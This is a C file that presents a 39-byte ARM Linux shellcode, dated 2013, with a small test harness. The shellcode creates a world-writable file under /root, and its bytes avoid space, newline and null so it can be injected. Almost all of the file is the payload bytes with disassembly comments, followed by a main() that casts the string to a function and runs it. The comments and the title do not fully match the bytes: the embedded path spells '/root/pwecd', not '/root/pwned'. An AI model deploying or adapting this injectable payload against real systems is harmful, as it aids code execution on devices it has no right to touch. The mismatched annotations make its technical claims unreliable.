/*      Title       : Linux/ARM - creat("/root/pwned", 0777) - 39 bytes     Date        : 2013-09-04     Author      : gunslinger_ (yuda at cr0security dot com)     Tested on   : ARM1176 rev6 (v6l)           An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00.           Cr0security.com       */ #include <stdio.h>   char *shellcode = "\x01\x60\x8f\xe2"    // add  r6, pc, #1                   "\x16\xff\x2f\xe1"    // bx  r6                   "\x78\x46"            // mov  r0, pc                   "\x10\x30"            // adds  r0, #16                   "\xff\x21"            // movs  r1, #255  ; 0xff                   "\xff\x31"            // adds  r1, #255  ; 0xff                   "\x01\x31"            // adds  r1, #1                   "\x08\x27"            // adds  r7, #8                   "\x01\xdf"            // svc  1                   "\x40\x40"            // eors  r0, r0                   "\x01\x27"            // movs  r7, #1                   "\x01\xdf"            // svc  1                   "\x2f\x72\x6f\x6f"    // .word  0x6f6f722f                   "\x74\x2f\x70\x77"    // .word  0x77702f74                   "\x65\x63"            // .short  0x656e                   "\x64";               // .byte  0x64   int main(){     fprintf(stdout,"Shellcode length: %d\n", strlen(shellcode));     (*(void(*)()) shellcode)();     return 0; }